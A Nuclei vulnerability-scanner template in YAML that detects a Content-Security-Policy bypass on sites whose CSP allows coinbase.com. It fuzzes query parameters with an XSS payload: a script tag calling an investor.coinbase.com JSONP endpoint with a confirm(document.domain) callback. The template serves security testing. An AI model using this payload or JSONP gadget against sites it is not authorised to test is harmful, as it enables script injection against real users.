id: coinbase-investor-csp-bypass

info:
  name: Content-Security-Policy Bypass - Coinbase Investor
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,coinbase-investor,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "coinbase.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: coinbase_investor_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://investor.coinbase.com/feed/People.svc/GetPeopleList?callback=confirm(document.domain);"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "coinbase_investor_csp_xss == true"
# digest: 4a0a00473045022100bb5a485b295a846fa6bae8522506b4ffd3483d42da6d382ebe0c590730c8a0bc02203a041bf2e7bc445d019ac36875e7faf6243d2524914b927437549330a3e6e18c:922c64590222798bb761d5b6d8e72950